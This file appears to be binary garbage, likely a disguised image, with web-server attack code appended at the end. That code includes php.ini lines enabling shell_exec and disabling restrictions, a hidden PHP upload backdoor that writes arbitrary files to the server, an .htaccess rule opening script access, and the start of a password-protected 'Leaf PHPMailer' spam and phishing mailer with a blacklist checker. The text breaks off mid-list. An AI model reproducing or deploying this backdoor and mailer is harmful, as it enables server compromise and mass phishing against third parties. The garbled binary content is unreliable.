C{f-:~@{}
{׃5OViOMykGݺX_-8&
-~fS6e@%s[ЕaPMr\X/[I ߅
ہiU;gyeqkoschwEĦqPJhS^pͮߺKz_({ ;'-Alo1ccw6]V`^yc6O4I_,bGm:L:*j~|O yi,g%A:9*z;tcȹ4"1oA:Vz8dx'@`TH֋9˰h-	/m9|.m,,[5q[96z˘`bu Mޟ3ީ4|k7Ȣ,&Գ`\C;#o1|+!ev?ݾߍXdHt;O_7oR-
?*ta:6tKyD$3&c#R/l97M{\ʅgyeqkoschwLfY
ج,4j/9($ {/9sED]Na+5]3!Z/:srA78Wx 9CTD$^}
l$*zfAS:pY
yUhgyeqkoschwTb,X?ka,M3?E(.OKCuXDPHV%nbW읦ɦU¤/}5gh1	=z# N
kզAU|fsA'
zzBP{B|'+JL;9L#9Pr8L*΄`,=_pSu
bKamXu4w? n95iT;،+2q#[}ne /DcgyeqkoschwߩMLOE-݄~-#Hpde`	CPTZ";-Ggyeqkoschw@d5L2fq :B+WCf+YU_+LeAܖ%o3x~}*{jn".
Zڥ׉~-ӘwdlkxencytA'-_f3J`
A|`UvYyA]EXhΜ9 Ѳ胣ݘ0Ԣd9O	_GZaYXNq Jq~NO%7a6M8%A"57pLC|& M&eUಧJH`'h0f!7
s1AT4-ta^R4]w;%μ"~HБD/HU_[|9S&2FĀ!@g k$g#')mBVH	REʡ{byBmM]K1!8jV	_u3??uoCЇ&aά!9aUDKN}% F:okY/XWǺrˮ7RZ,@~) 	;0Ӫ I2;Oԁ@pꀁKBk?777t;wdlkxencytb2SN\I0!}m4[&&6.nUldwdlkxencyt~'oD77gyeqkoschw(-ol.qrO/._h[v @U22.v j\dtOgyeqkoschwU^85P!Ԝꕥ_['c?y`dN@1Qty4p_/
0KV.h&)h'*ՎE1[MbO	(b
_jHA1QFS[S~Aȭ2s
(Fj R}L}̃S,gyeqkoschw9BVCswdlkxencytwdlkxencyt~(3DU%3&ܲWٲ?%	Ϧ?+BH\E
`nI]Ǌ*3xv	GsFpלԑPFRAWn' V7ME\]C__'j4!'4Uʫ^xz|X`xӁpL-989
 i*k&A{$`c_6d#1/ܼg0ƌ-h(s!U_a&]W0.S7}oOmO5֧'|ٽj]	
rrQr3zh=-DJW5PV8Dɋ*ﶌہ!vOK~*鿁AF,CLU-4̈́p~
"_qPbv_AnwdlkxencytFq)g-v@pTȵdejW%CTp)v!г7~h1荩R]hS/P^b.ה5Qs{r
s6ӯF8S ɝ鞎рW)UN Ewdlkxencyt+*ZwdlkxencytHwdlkxencytY ZTu?XkJMOO|i1#:ឦ,~;cgzU 2nl\:ӽA-==Z-x?HOgyeqkoschw_$ւ-or"1V#!&KvtZJiDz̢m1_9&7Gdem֘wdlkxencyt}J%K'O4b6J|yp!=cP1v6م)STa0G}4Boɳk/Eptapԗ6D^㭷Z5sG_#|;HҪc1B
e7ynWrUXj+*ǉ4)e4y'JCDtalm"^"oR{|%~Uwdlkxencyt|0HI@luպ0i1ItwdlkxencytNc=Wٴzc[a)uCL z}Ȕd~(94]SM$M~bBzFr~u|ؗec{&#~zA!K(CnlfkѠ-*DlwmagyeqkoschwH!nIEe)?(6V3-|ucKƀgyeqkoschw #,0TQ (=Y=gyeqkoschw wdlkxencytW#6vc:SSPgyeqkoschw-26٧^E(+h=Jm(*MY7ޟ+q+P;%Qܕ|0S zZ?|f1:yߴ3E6I0iӥruwdlkxencytjamJgyeqkoschw*gyeqkoschw-6*rfc
'pѧCojo*)ygyeqkoschw&{*-^MHJ,) %75ieۭ8,qgeo"a\\w(edFpCNK.0#DcEQݩ	tkF;~):JS"7W`J;yF-KF)K$u@\r\\/y]&H9VW߾̫]/[m}=PӠ.b&zW+\?I)iE߁ι}CRL`W$Qrl#?`Q-pFޟ\MgZwdlkxencytWc,AI+ KQ \V;5͔G\x ;]Q)jǲSx{hJ/.OK*
b0]	Ņ/@UbYwH&T҈.~8	HHUr!gILuG85xPQ%#(⟏^eV2f^dc;iʘvdޫj"3
L`cer;DvH/cۼUNp.X$C,O!wW7󧧌KD3Egyeqkoschw5i\Pgyeqkoschw&m4׊cW
θ 9.V;N&H;:|z?^P4FtB{wdlkxencyt]-gyeqkoschw4H![Z,_ȟctNb/2jdyeӨph$diV.͎ ;gyeqkoschw0-
Q/_]a@`%@{n!D=pUHb(B2~-"SCh,[%*LAOT&JĆ323{.Agyeqkoschw'$ڥxWy70=Ŀgyeqkoschw0^I=.wdlkxencyt~hZ~	]U;!ui_ +W2ߗ8S/ƍ\B(d7xԓ!gyeqkoschw#"n}/y&@
cCj|gyeqkoschwLET%C1-N4~H^N緷sLhÔhōaPt,tF&X#u`.0;,5pI{0XIwdlkxencytr\z7Ln[MkGr+wdlkxencytBqW"M|1qf.n}P)ֺZuǜho
&|x3yy}SիrQmnE{9ؘiXe]`ۦ	 uؑIylOC{-ޕgyeqkoschw-?-_[鮶b8pWBtKsi_i|nu=]0pWWm;L~zԗӳ]'φаIíe	9G6,b/ Z`'&K3vqEO$TvJyv}5ezYj	ͤYD[J`Y39vz!UwdlkxencytcYW2G|v4sz_bо.LQ=&o8UAe%`S{Jwdlkxencyt\$xm/*l8f`]ofK0s=mbf^@y{s,bNy~
3J= CJ$-q*& BuW6Y}F(FZܷwB	1OUy[7/RihiҪpgyt08X4~P
ŋڬs}q3[Ϧ);Hz;mßQlG,gNzw]xh9^X$,fxxpԷ&&/dݘb-7Md'ޖc@URQd^@+Hʋ;QrfHarCdlm=4~($V}wm5=QE 9V\^#(j¾~~B#wdlkxencyt	dIi~RlL9"Bb0eȂbΒLN&IIY{L,;7 @i*Jwdlkxencyt.ܸ[]~UJeޖD0+U1c
P	_DcRhV0`m:{}RHIEW2
gY)V*(RM
{SQRh2'
xRI9VmG"j{Zgyeqkoschw2cQGHGxƬwQ
-T^}CRht80d~6/S?DTrBm9MS ]:q_M2Y%WM9Ӳwdlkxencyte"Xj
'Zӂ%%K6'W.DUZr"`*%O7;p$GA4"CŨձI/c+b'~g.}yX{ Myѵ-gΡ}\85+n#W3Rn]4
c$ug|+eQΧD%Tgyeqkoschw/sͣ#[0hM։Y)ku'IIMOvH4V
~[xhcW9YtYg(K'f`(&j-z@
#g?B"gyeqkoschwiSsZz=7NwAlif_-V4tłHڡmmh`gx%ɫi^igyeqkoschww	b`d_Awdlkxencyt'6_O"ߡSE9/s &Ka.4_k-P ^_gwdlkxencytnO"
Gn/g:hu-m1(-I%w#mp]IR$R;.[nLS,o=;៛"򇗆\@&j+ALr$2	]4V۲RR/wܰ,[ܗ`OsR\bwdlkxencyt9C	~7={!ی?,-:=)sA7
Q
)	޿O2
RMANl_4&䳌CA!}ykstRɰIF֞VLI u0S3/I ݽKgyeqkoschw9Nޛ+ygsNNj/)E3yλa0/fiH) i P}NZ$eiB;5j}{ ~}Enh_}^)&sxB Lx|OGB@&q,p
/Φȭj.l!{y ^oS{~{
#WXM3iLSON8,삳._'C6цm,	ywPfS=.-7âwwdlkxencytW'9fStB.!gdz&S=VS}9ךw* Ӎgyeqkoschwl+_!
fּc̢tAf洯	U T}NiMHKkBWZչlS`Qz/Ys_*,=7G8s9]G+5|Im.k휌 3Bv?f~yeR-Ř"4ŢW!Z$SeÞג-@;2a+`ׯM|Vv^@%m
C8q\.R{A
zgoG+Rﶧc)m,dBcgyeqkoschwt*@wdlkxencytH=fAl}{un#GV_'KaNP0b%~Z
zBG{؄FV۸2-	#l6	.dc{Ip-v$ ^X.T+UtCXkfc{)R
q(;"&+NjTwdlkxencyt_Pz_1JQ)*tk[t	*Oun)HE ,qWFy$hCB[%}7#Jgyeqkoschwwdlkxencyt0h6œ
 j(}"wdlkxencyt iʚ[NWcJgϦjl\T{V
8jzۡό{7"7=65!ȹԂNʹࡼqL3xZ?݇F}%@&9.0Zl(~vvD'B	K(_壏ѷ~ [G1DXXS`ޱe935$陒N
T",t[-Q6,|;K(Ì,4i`y,
15-3HNP~`S9wdlkxencytZΎ蚕pU6&0Y({5āqrGfN~.:^2Q~YC:CRhg2&_0xBc9˙B@R W
q n1,BScd)9I\ɸ}w^1{Bl ߨOW6U5\kTvqu&Уt|ӛ?qUV˪mKHpoR4∀qTii\xYY}~P&!OaMpyc6z\Ҧaӡx{n)aϢ*Ar,
dF0DӤyQ e'	W4/ФܶUgyeqkoschw^c;3sgyeqkoschwa亾Gf¯Z!GxW+\s]h[ENϚM=tΥ}7v0[)mRhU[|02G=wsl7{gh?5.1suoћ1
#طF9i}#7n,[/IC1Ay߱
xAPJ0W`ڬ
GozuxTfdh'+bCX%]ߝ_zY@=Kٌa0gyeqkoschw
^n/{	YX?Y4Y=UM$Rf(glɅzK"^A~SlM']޼(sULwY^՗ՃECV!{VE gyeqkoschwt/ K%0I&7%Z\MSϯ#!I(HʸJÉEwdlkxencytLWL_𤖸AXl28wZWaa6ڽg$pW(JNMuFs$
:EVP[}}/LՎԩy"3^x6(O-?^àwdlkxencyt}&#gWQ@?+3ǌEmاjH#ӝLilAxڧ(mһ~5
a^+Ƚ;9_ݾIa*^ոV.gyeqkoschw3k_M6Yoth)&m
FMV{T5iDlFNeng_gyeqkoschw?)\B:W|jRbRl$*:uHO7
 K͎1*&\_{BMgyeqkoschwq7HEE^&A$5/i1&?\V3RE8sgyeqkoschwpicѷJ@(qι&#7mh|wdlkxencytf8y1uY\.4QuP޽#X)in̋/b?J\-@b8iGnrXwdlkxencyt+8vбֺERfA0Ty֎פۍP!}l⁭J1qM?U2L+qݎD
vd9K˃?SZkg)qRW@Mw=TK\.*rT{26byGf/Rȳ^i#[z5
gRem&VީKV⼅1kȑCԀmÎl"Jp`ryVeEVa	}ó?vߕj
K}9歘 )^\WJ[|#,/C*3:5GAtw684M	سM$"/9d#l#ի*AqHb|aR6iɺa&
 
zq`7w{ֳ/ߞ%gyeqkoschw|5XhX_"cy 6VӌZ$wdlkxencytSFd&sUƪHb"Ll-IkU %]@K?!
w3Ua&uuGjJYD3EY Q|TZPerEK鈳\_` 0vDjd8g	sy@e߁Rx4rsy˘\$gyeqkoschwA~c*ԂC2e''ז
{4F~GBg_Rxp0ok"PVq-0lrY)cah_󄰶AtԶPYj67 :{Ͳ4X(#DcXzgoҜ}9L#[Ksd\쐀:}
:i-[cloNH!i8r}wdlkxencyt\gyeqkoschwFa_B'`%a6g$gyeqkoschwpIHqX)P*-/ u+䒱oA&OxoTzk@ gh;`rkԎry)wdlkxencytIڪ[o5xu"z g4 6eVKI8TIfE?e9 ե1ɱԕ4jf!$b Owdlkxencytd&\	Ve3zfV0OuREĎL4)^gyeqkoschwIv6OOu36v6 ,^fzSRDP*l%*#gd,;1@"GJgyeqkoschwz&fv&+.QW$P
)^[Mgyeqkoschwi?ĵ7Ȉvِ{d s}w'*rrJ
٬z-6!'AUEMbiʦkxYPclPq]ui	$ueNy,,O'hkSQѨR3:OYOyې̖!ZyEgh3E;.bUA v!8~9a1%)ݷ%lZ8߃~1Ռ	!w(j=j	}"ӱƱilk~M"SΦQwdlkxencyt]qP:.d3+v|)v`vkg1|0"o,NPj7$ɻW}I	1ў0b/z|(],vVrQ,U7j~Ox{\n@|A|үƯTK$mKQ׹%h*!Ӫ{4_AԴiW&;ynM{PQRkN2-ԅro£9BL" T8Z}1 1zPD#-+kwF0kSlVpDL,wdlkxencytm\̆Lvgyeqkoschw
V`kxJRM~N|V};$ojTWMP: $ .zE@ۣX\Sf}ސРOiw8_7fkJj`iܥAkik(=:c-
d[wdlkxencyt?ִ\b/B;,a zd3Wv.Y(3L0gyeqkoschwyflQ5gyeqkoschwauZ1G YgyeqkoschwƗNfE_	)O~1|}rogK)GLu!׷|!w_E+(Xq)7#2ss58n8ՁZsO]v~=ueu=@ P O`(AƼ߰'J_o*#kL2ZP-XA!p,t^KjqsFIͼ4MHN! ~JG[r=)Fs2-?	bni[x`ڥKL
)Q^	ro9=ac}CLA}^OM%1p܋p]A{1YWg"FBi-9Tn4;&d
WǱS]zD먦HLf`[`{;
v~XHѝGyӽ9O\˔!A
.cB$L=B}@Ո`*iyۮT+N!Q&G$wE"쟗wdlkxencyt)xgyeqkoschw-U᪫BUBT	{mykl~BMC"^y$R0b VpNl!gyeqkoschw:hw#8C@b|l~3-|㛅iu0ڥYm8`:&ĝ2`PR狁W޸1͏m\Q* IUUy]NpgzjlR1UՓ~1EJB4;zn`d1KzEs RMsHѡNMknQIɏYy'7IG|`W3z5X8CWV`
jE M߃tZVf'GKzH,sM,To/7)̕MPӽ8Nb'ǾfF7O^o=v[Ux2Ygyeqkoschwnn\H_RǬü Ɉs%L ق ,fqQR!NG|RhEV8]~oI]JW]"N]?QJ`C _(^Uw;;);C8Xܝ]$hbufA~I@\L1awQ
L3;N=F|r@8%犠璜4P +?y.gA/30gOwdlkxencytwsq-Hɡ|Tk[[0Ymo,:u_iSW	CAl/_hcBgʒj;ykuH~R/Bj-gyeqkoschw%`ߍ?(@1KgDsv?Z*5j.$"/
7@-~Z]񐤌.e"gyeqkoschwwdlkxencyt'Hxgyeqkoschwo(=}Ч\:WF~c oVEt¦rdoĺiED& 3D}&`ʌl7L|o܉gyeqkoschwqϯ}iA@\8nU|x~e*oWPv̑ښ⾃	ґQ̷r#aX|-Pg,NfT]sz@wdlkxencyt*wdlkxencyt g/wZ+|4jۋF:_Sp-oR TbvFJbIFETYQzGvQҠjn-庋1Hd115Ga~{bWfg=.RU	V=2JqMHegx{qf0%eBI@MVH+Әt糽q-E`gyeqkoschw c&(eljSh+wLneҝ}"@JC Go/f1=Zw`?)"N~#QNB.#e9GǗ?;+syh^ n#d֝C_KcyVIQKz-4,^m0ר:[h}\E@"IzS)4xLۤr. 
}2{WE `ZGBvp}&tv&2UPap;kTƛx襁z[? wdlkxencytZUBEA߯CCJw@O1 OKwo	oSX嗣"D%)ogyeqkoschwU|S|&wDgyeqkoschw1Vm,;|y|W{obˈWwdlkxencytzϕPw4RHN*HaZGߙO;rb ugyeqkoschw[w/D,NWØ8yn`Rb?a,:	o}n3cLSv6q8 j?/MYwdlkxencytɒ*_Ag4Mމ'IgWtkh[kLכ`~O8Sa;IgyeqkoschwPs 2cz#,(WzE`%F쩌K02j`WiPxL-ET_iX.״e' IawdlkxencytK߾ސu8SVzj 8?9z܂OQO[_|;dHdn	
q׊hZYe4EmFRGRVM}YČKrSf)
m-]E:8-+BPFoFdlwdlkxencytSCz5X= ZWܹpjsMVeַu-2g`I69NviS',]CR|ČT_w x]߀ol;Fͦ;L;iS d۬oi}K3ayFJOS`DP#Dw-sVt0˻Apg'
`Zx1]Hkv8kgmzT'JaA'=RWLj'| ~?pwdlkxencytxrCSy;=04k:*X;8R
ֶPJ1,;ضe
?wX@G]"mo`#泃'O@~;d!):f@3}4݉/"ҽܤwdlkxencyt~o)azrg_k{"eK2kNGgyeqkoschw^̧$X+"$
GfȎ+5Up_[ojѶ`C}I~内sKPpgyeqkoschw-Hf1ooˠSP.Q'HȤ 8H?i~pE7tz`-_@*CɜiN/Z(gyeqkoschwzAn_WۼBvzeaM\̿d޺U1O	akܷr~\֩iP'{]c?[zܻ"D^
\ T-m@(_/IW"(En|3P
Ȑ7kr{@-c[}r1WS_rfږA)	^Ss\4@೘*gOW:ګcJm#.xwUe^f*9SYUG.hӨ%@̨^K9.8 9gyeqkoschwXgyeqkoschw/ՠmo$1}F _x}'gOr*{ހ:HmLϟ9Doe({qwN%%Gc\5vj߬gyeqkoschw/.rXzՖz	fN9d$*|Q_f.\q8_(NSݏZ(`A5^dy|{iکC@hgyeqkoschw.G#9.:}gyeqkoschw%艜J8wwdlkxencytd[ҰVlK.q!
jiwdlkxencyt!
5S']P4Gw#N0P+*)SE%X}؆p1Iᾞ1^ŠMvpűZQW'togyeqkoschwԽkڱu/_h+C5mcÉVgtr ?=:R ~~Xǩ?ci}%WMrwㇿEnI,C%!(jr*L:]/6χ?ɦ,{+Qִ	N2Pc/kVLan*qHks\*TAҔ0(iؿB2\sO[m.At4_?٩YmwdlkxencytĪ z}41b4 -\}
&9XRVeGFRQ-N*c}qn!j22		ɦ	ypv_wdlkxencytOgyeqkoschw'Jl
k04J Hqy⎄^¤eWX(nA=Mx՜O'XIۡ)l,;G(?Q;YE,Jc:2Eg4v[oo=velX}-i'(]$I*8!wdlkxencytܿ-MeVL3UԞDOomힶ941tf2bOҡgyeqkoschwsl5O1ObBcCwdlkxencyt}k~%ӑ_=däoކTe	l䏋?܁LfbtP	J Xis:jfIQFͲX??G)?]n"9:'
GTH
= 7̏EMN?Mwdlkxencyt[c:޺;goQMX6Vt)}3'/⎚TiwϫunrP@mPTdUtq%&hL2lo~P!ft
FRO},{3\p9Y6{}sgyeqkoschw1wJt\+n5!4Cwdlkxencyt5qYgyeqkoschw(8lBn!նfGAZA-P_RO/hqGY"c0Ua upӝG,np=Bv+Y-=LYA#gyeqkoschwH,[s;s9lBGw^KFQ@`a
{gyeqkoschwXA4֥gyeqkoschw"rQǬ}_'nR= [Q$	oѽ tD]$D?XqjLI6ۙn=VߴahH3{Dz//6աv^&44	ԁg1V0y"1=qyk]FֽofD$W8*i9gyeqkoschwҸ_[]&gyeqkoschwf۰	Îja7ETGg4NgUV9ً/-;$CĲ
.cM]/EYgTigF@1B4BwdlkxencytԌgyeqkoschwS6I)?ᓇ?+&y,tn	oQlT_|c䈹m_q/D={AW(,d؛ѷ}cIRivK_wdlkxencytG}Af
gyeqkoschwbCx	b|ήn߅8B	rζMUKwn JR{#t+aэ &l~ǻӒ%&QkiZcnN[-  KA-s׊r&ӹoCrI#?Ǹvb2jRVoEMap? 0*Ԍ3MU4r ƱjoɡAWwdlkxencytfU
H]6)Ivhh޷#+e=Ύ==w֞} խȘ4,iT+噞љmqJ6t[
e6hLA-ӷ*$|w|7E;#wdlkxencytM Xc츤SR~յkd &'9ۨ=Wjt(C'k˘3!`w@ctX+=3D|oWBDG*{|7ҤieV9^GiP^|͋wdlkxencytt(m5'Lxކ[ŁQ0~f!1SOgS_ JSgyeqkoschwK	یMJ4fx
akYaCkڍJKI?71_/=ZaC6@/6n(%e"D{6+{1Ѫ~hLJxD8wdlkxencyt+䝗qL:?:=|m=㯳gΤc]nByI^	-'y/D&˒K],X0Q[LSvϕ #vo5̤B5xY󥂓1|w&gyeqkoschwBk2.PMtNt3)l3r8珋sMic](M	ʇo#߽e(LU";:*oOU{qmRv8jC?Ý\EJk a`_P&za
\K0 2b퓩gyeqkoschw~1k12T;)Kp0DaNg[j!+ޒ).a}T~ME㴬Jِ*j"|G$wdlkxencyt#ˮiTߠ룁!.rom \[0aƧ)լCc#j0ӗ^sEk(洨Jt kLܧgyeqkoschw.wdlkxencyt֚vxS|	*HnOGE	Ć5$))璿6;
$5BPP4Sw]i2r-TyP~Dc.NT*MX5 ;P;JgVdC|Lkv֓"!\7ʷ}*͉ۧPDWKD	qS|
)ľoeώyCd
# 	za!c̄5?U E
(P9Z7EW(+[23yARwdlkxencytz&f.VdLg
{Ёn
7Y1hgudSYe̽{#,~R#';}Fάq"R塄^̓|PfLT3SmHN؁^fլ~%VŽwdlkxencytVOӘ5{FFIЍ2aV8Q+H̀pUo` ay8$ؑLзqV;Cjp(8Y:V0!#O"JhZ{,;oz gyeqkoschw!$d)1o?ΙQ9mYˉcsnP'gQ}N SI+ɍsɾOֲivJ"	`׏n4W
yk~IvG0wdlkxencytOj{ܮsQgyeqkoschwM8~.3xUCk⍭C0eS^^7O(k#\ڻi
 vf4+6!No"D1{3QZ3AHKuZfr`BكxKZ`I)a_ ovuH70"Ξgyeqkoschwgyeqkoschwgyeqkoschw v%0EF^Rtpl`OF}ROMTd̏'HufCYoQr[_.-$%[҇qixÖ)c%:q;bgPP7 wsg.:hY PހXu}Hi,R"%kh]miތa%/#ZUlїwdlkxencytoo$B
^č	'jLzJ WNþ]y.JPgyeqkoschw`
)7M'H*y;#9rGBY,y69h whȮOV8YP8;"ui43u:]v,.A6D׶08$q &v*_Anٌ,U&e*(oT/_D@нu)RgyeqkoschwH0e$ 36Ei%N;V]ny}P ܹ
딮n}+|hO:L|1A΁&#g-t0A`Hm
77HYz_]mdVݡ"EI)j?p,*mYs4!W[)Q:eF
BP{/]a'"U'cB:1 Ospy~y/gyeqkoschw6`$Jwdlkxencyt++,5N6!r ֗Ø0nZ%Qg$%{Uw;TɫV!CRd?
!xzUeN$!9o$\PRLQ4{ǮDVb d8X;rP|k~x@qs8kOXTIgyeqkoschw|x2&YwdlkxencytCMgyeqkoschw`R%I8Q8zDs^臥7+
	9W57j_	s
$ǥwdlkxencyt?k֢nW%±Ȑdws\MCؖXv;j~Pt#X=dX;Q|O?w^ 5fU(^vwgyeqkoschwy(|/v/rK1֑Q)Awpt(UenY/#irBV|UɏId-Ƕ'dw"5cJH
;ODXi-#gwz%Vhoj6gO^^9:U wNa!el'Z.`έ)m݊S(%rnwJgyeqkoschwYLL$_07'(Cc;v 	{\,Ykqxjb
O!D6L4xMNKѾ/R{6]:6r6Ni5!Z2j,ic]6UĥRٖHY~-Gum)ݽa-A_ǷiTZk*}8,{Zuٝ06V;_GPgb}plҙ_^SzrkgyeqkoschwE1AhGwdlkxencyt-C7oxo ]ku$53Fmmh=Uey$
W4_Zb6e]]SE4?,D {o:2H!n)sy@nD&\4YN-X%L.cA=gMscB"i\O׮~(Rg2Uc,0/]?~m1gEgyeqkoschwٰ\_gY\pA1GR~68/!5	ޝ}TP;
m7c#gJh]m5A߄ۀ|8IR
sTQ KeY)?qW::&j&A]N3bgyeqkoschwM2PnRTֱcUgyeqkoschww5dso}wi
odU%7iZ%cGʤeѤaDTQU\rBm
~ՔԶ*fȰ,_)^Gk~T (XjS%6|D@M$c5ύH,&	:q	ˠCCԱ(F`qm,Lx1bPgyeqkoschwtz+,G* ]=PBˆjٜU!Mzc_wdlkxencytCUq
='~ KÎ_dƴMsZAXyڃZ}{9[a造Jg"&D;6ubF:H&n2"ޠ
r%agh-ŗQ~UP#V(ewC1K1j4/9:i1xH^2?v$ţV@V4"ũ([w8ú~HҴwdlkxencytoOMqI/Z~iiQxoV5w=)xI"iEgyeqkoschwf^EdM4e@a|8f=o6vAH&߅O8Dl#cA-UgDx8LSAdgyeqkoschwAe_Uݷ홤P\o?#վʃX{-0nVO.A#hysF(ΏoUUߣNZ$4$13}Z̦T&gyeqkoschwHrK~mhwdlkxencyt,55&+~Tp0:M{Գa]]Q"׬OB
W-{R2m9'-[Z/~;G7eFbp+j }k܃nCMŤڈ~@ygě(n_Jc3
h!-feox+e_&4$5h:s&&mAJGS
e(%=]ڤ6$vTt&)` Vq()Xka5].NSwaFVPnJwN3\Fw0AAMMU@0'+~,\N_bPpnTCV?gyeqkoschwjᏔ.[dbH޿2}Ƀ4D7jR1pźML&5

/ʘ]i".@56gyeqkoschw	y& f|Ym(0
r
QEG7gyeqkoschw;}Ғ+ھ_,U**
a4SjX!uLR&
0|c9YigIsNƦH9 `{&F	 e3VO*'fm77cпQ{ø/`ΐsBś"YWD*Db~չXd@:qf9bX!gyeqkoschwsa 0JUSώZ!f#*޷P!;[YT2G4wdlkxencyt'jtB.uwdlkxencytrWj7D$\ѻ
1u"rPgga&sE/Xlt^NgLW`'GRJm(t_9^,@؆V`Lg"e=pdvPIRD*h0M8b=l.pi$u-/iwdlkxencytvM70]%"51HrV?V+%Xe'Ex7BŤ+zT;_OVGn'v_P}]nCv)FٞA7{snD\A2gҧpYcnMhSe6+qM^?Ρ$S= У7bn,7Jr=ؔ68.g?D
'(!	^][Q|y"`.DJ
Yu	E5"}' ZF9β-A7}|09U4]W65ᛁC`i%m]PI*2/ڇ϶zþE/*5d
Xgyeqkoschw+~ָЖqmt;(J#M4gD,PŝT{Q^1;t#L;#Q^?¢`]y56V.`{kL6gyeqkoschww]9
FnGIQPUE_:N
7qcQ|qIjG}eR$~$G0bi5ޚss[q@!"nNߍވT@
~1αZ;ׯX׵l P;ݻz4 *rgyeqkoschwZ9|i	X]P5/gyeqkoschwh;-	M9#֒^41:+)gxb|`qt{"NpJpHַK/kac/ZQrM0gyeqkoschw^	gyeqkoschwn$'߅ٞZL$E6&)~i{cT_0G8q8{m2Hsdō,4um խ$6j/YIZk
k~U:ժ_nhFrtgyeqkoschwc'v4wdlkxencyt+))B=ld,+RG]%2agzOLՍV#8$7׺ipͥV`1 #X5t;DFTUzRdnm'!ΤX|'2/	҇0ay܎GQY)gyeqkoschw)эgܲT\vU	mvfQ)Y?8kZ#W):@M,s  \"j)ZLE1VqGռGm3~2Kz!dd |aw(Jp;!}xbIUBmN+WCs{twdlkxencyt:޶_qwdlkxencytqಅ O@KnF&H4cFrp⥶WO50ġW޼12IZU}ފiWXr*sdl1bgSPg%DwrU
D;w@3[]iO-s9G tZeCЬ5a̨OT[~q7WF"oW[[k
wdlkxencyt
Ok& w`rQ.^l,Ly:찹c7;'˸W̱7Ο'e㍝\8RNx [Ba&aR=),P-er06{u=B5͠W+̑n806 Upwdlkxencyt},Ɠ_p`]$v/ڦPe2B*t^c}ً=r3.?14^蜖9PBnīeJ/Y.
X\Fsgm8*eKF3̗
?D("]|O#	EzXEJ3wdlkxencyt7{7EwetH*\˓6 q1jMogyeqkoschw[vE|@c!5+V7,NZN%  ,Nǜ_OUFf]qwجW?S/j6W 	wiwdlkxencyta	Ns*QSuM=ǋ#wdlkxencyt$3ӕ{#(8# gyeqkoschw'ӈʚ3ymt8*73q/[;^%ԋClKlD\Vx^6v)\]`zMaİ3"536
2cPx;}n7M.BJwdlkxencytNk8Yڍܴ+;&:j5580&DojA	GyJL|v-Hj
F6cq1&Р^hf`(n}#?b,/"KDo#OO6YgyeqkoschwF'4xNpM49]3XOA5ߡ	96e߷G;P	lİ- i0f 	aエ3hV^^))3Px}=%t/&
WX
 &Y
Wb;~KI-c#RqI*;"vڹ¯0Pv4A!lԆ/:9hKBe]ީ8'rt4CvlT@0ϫC)6EqHu8B9cZU/︩y/rǥ7N=g:uSHL,3ΏJ-|&}w7GN\iIy %X$lWU%UUhU F9HF}4VB#iUċbؑy@NPQJɜM:|Sb\ϵ)-wdlkxencytn}9ʹ:@KxrTˆ6bN,0j4|}Rx,/nbN6%@i@v 2LR~^w+9{"8ݿrLu|_|QM
RfO_^)'ޏأ{"yΥwdlkxencytJ}6;juk	V5]oB&uR
"xIEA͔&ۢ8
AW6j fG9 f+hUf7;_?4y	)cH)M 33gyeqkoschw$lkGnc_pTag^h6qO)M(k=	M;wueZˁd`=҉o7;۴Z@&ƴ=Awdlkxencyt6gyeqkoschwV%c݁-2rߖ1-_ת8i%5s`青mzZrvs-CzSoWh@гL佡'B2|!%~wdlkxencyt
wdlkxencyt7@ևER*®09v;xΤ͸lHit/X]ϾLmYf?5b?_6vXo̊^PoX چ9/KxSaQ/fh[x)xla|仾3^U8XQqTrE:o"ya,gyeqkoschwo4	xtˍk

 Wu*c}ڠܔ	μbAmMU?bB\'ϓ7
~5Җ?3MgyeqkoschwXnnܽWj~iYbjTǮן_ Īsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "D13s2Ukxv4p";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
